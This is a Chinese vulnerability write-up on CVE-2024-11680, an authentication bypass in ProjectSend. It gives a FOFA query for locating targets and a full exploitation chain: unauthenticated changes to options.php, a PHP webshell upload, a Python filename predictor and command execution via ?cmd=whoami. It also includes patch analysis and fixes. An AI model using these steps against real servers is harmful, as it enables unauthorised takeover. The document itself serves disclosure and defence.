0x01 组件简介
ProjectSend 是一个开源文件共享网络应用程序,旨在促进服务器管理员和客户端之间的安全、私密文件传输。
fofa语法:body="ProjectSend"
0x02 漏洞描述
近日,VulnCheck 分配了 CVE-2024-11680,ProjectSend r1720 之前的版本存在身份认证绕过漏洞。远程未经身份验证的攻击者可以通过向 options.php 发送精心设计的 HTTP 请求来利用此漏洞,从而在未经授权的情况下修改应用程序的配置。成功利用此漏洞后,攻击者可嵌入恶意代码、开启创建帐户功能并上传 webshell
0x03 影响版本
ProjectSend < r1720
0x04 环境搭建
0x01 下载
环境要求:
php 7.4或者以上
MySQL 5.0或者以上(如果您使用的是 8.x 或更高版本,请设置数据库的身份验证方法,使其使用 MySQL 本机密码)
Apache 2.2 or NGINX
使用phpstudy集成环境进行搭建,开启apache,mysql服务
去官网下载projectsend代码
https://github.com/projectsend/projectsend/releases下载受影响的版本
这里下载了r1650 版本
解压到phpstudy目录
访问http://localhost/projectsend/install/make-config.php进行配置
在小皮中设置数据库名,用户名,密码
设置完回到刚才的安装页面,修改页面中相应的字段后即可安装
按照提示进行下一步安装即可
如下图所示,安装完成
正常能登陆的话是这样的
0x05 漏洞分析
根据漏洞补丁可以看到该漏洞是由于在header.php文件中设置不同级别的授权,以限制给定用户允许的功能,授权检查可确保用户已登录并具有正确的权限级别。
其中大部的文件都调用了该权限验证的文件header.php
include_once ADMIN_VIEWS_DIR . DS . 'header.php';
但是,这个文件调用是在其他代码执行完后才调用的,所以导致了可以未授权执行文件中的代码后,才进行权限验证
修复后的代码:
重新定义了log_in_required函数,作为权限认证函数调用
打了补丁后的代码则是在每个文件的开头就进行了权限验证,然后在每个需要用到权限的功能时,在文件开头就调用了该权限验证的函数,以阻止未授权的代码执行
0x06 漏洞验证
漏洞验证
在漏洞介绍中通过向options.php发送特殊请求来触发漏洞
简单验证:
我们先以管理员的身份登陆站点,访问options.php页面
是一个修改网站配置的地方,用管理员的cookie修改一下配置,改了一下标题,能够正常修改成功
根据之前的漏洞分析我们可以得知,修改配置的代码其实是在权限验证之后的,所以我们使用一个正常未登陆的cookie的去测试能否修改配置文件,(csrf_token的值也要重新获取一遍)
使用正常未登陆的cookie直接修改标题成功(如果没有获取cookie的话,也不能修改成功),到这一步就能证明漏洞存在了
漏洞利用
系统默认情况下是没有开启注册的,但是我们可以利用这个漏洞使系统开启注册功能和文件上传功能
clients_can_register,clients_auto_approve 和 clients_can_upload
看回显200的话就是开启成功了
开启后就可以注册一个用户了,看回显示的话,请求头中有这个特征"Location: my_files/index.php"即为成功
使用刚才注册的用户projectsendtest,正常可以登陆
利用 options.php 上的漏洞,将 .php 添加到允许上传文件的扩展名白名单中
看回显,200即为开启成功
上传文件
文件内容:<?php system($_GET['cmd']);?>
点击save
要记录这个点击上传文件时的时间(不准的时候可能会相差个一两秒,可以通过列举前后几秒的形式来生成)
上传的文件名为以下格式
{timestamp}-{sha1(username)}-{filename}
#!/usr/bin/env python3
# coding=utf-8
import datetime
import pytz
import hashlib
#上传文件的时间
date = '2024-11-29 20:21:51'
beijing_time =datetime.datetime.strptime(date, '%Y-%m-%d %H:%M:%S')
#时区要和options.php里面的时区一致,一般默认安装的话是Shanghai,如果不是的话,可以通过未授权的操作改下这个时区为Shanghai
beijing_tz = pytz.timezone('Asia/Shanghai')
localized_beijing_time = beijing_tz.localize(beijing_time)
timestamp = int(localized_beijing_time.timestamp())
#注册的用户名
input_string='projectsendtest'
sha1 = hashlib.sha1()
sha1.update(input_string.encode('utf-8'))
hash_value = sha1.hexdigest()
#上传的文件名,这里为cmd.php
name='{}-{}-{}'.format(timestamp,hash_value,'cmd.php')
print (name)
改时区的操作
这里上传的时间为2024-11-29 20:21:51,文件名为cmd.php,sha1(projectsendtest)为197aaa8708c5ce35805cd8001c02430de03ba0d8
最后生成的文件名为:
1732882911-197aaa8708c5ce35805cd8001c02430de03ba0d8-cmd.php
访问上传的文件名,(upload/files/为默认上传目录)并执行命令:
http://projectsend1128.com:8087/projectsend/upload/files/1732882911-197aaa8708c5ce35805cd8001c02430de03ba0d8-cmd.php?cmd=whoami #执行命令成功
0x07 漏洞影响
通过以上过程,我们可以看到该漏洞危害极大,且该漏洞利用难度也极低,可以通过未授权开启注册用户,并利用注册用户上传webshell文件,所以有相关组件的用户,应该及时进行修复,避免后续遭利用。
0x08 修复建议
1.升级版本
目前官方已有可更新版本,建议受影响用户升级至最新版本:ProjectSend >= r1720
官方补丁下载地址:https://github.com/projectsend/projectsend/commit/193367d937b1a59ed5b68dd4e60bd53317473744
最新安全版本:https://github.com/projectsend/projectsend/releases/tag/r1720
2.临时措施:
设置upload/files/.htaccess目录中为不可执行,在.htaccess文件中加上下面的字段即可
php_flag engine off
设置完,则无法可执行PHP代码
0X09 参考链接
https://github.com/projectsend/projectsend/commit/193367d937b1a59ed5b68dd4e60bd53317473744
https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/projectsend-auth-bypass.yaml
https://github.com/projectsend/projectsend/releases/tag/r1720
0x010 免责声明
本文所涉及的任何技术、信息或工具,仅供学习和参考之用。
请勿利用本文提供的信息从事任何违法活动或不当行为。任何因使用本文所提供的信息或工具而导致的损失、后果或不良影响,均由使用者个人承担责任,与本文作者无关。
作者不对任何因使用本文信息或工具而产生的损失或后果承担任何责任。使用本文所提供的信息或工具即视为同意本免责声明,并承诺遵守相关法律法规和道德规范。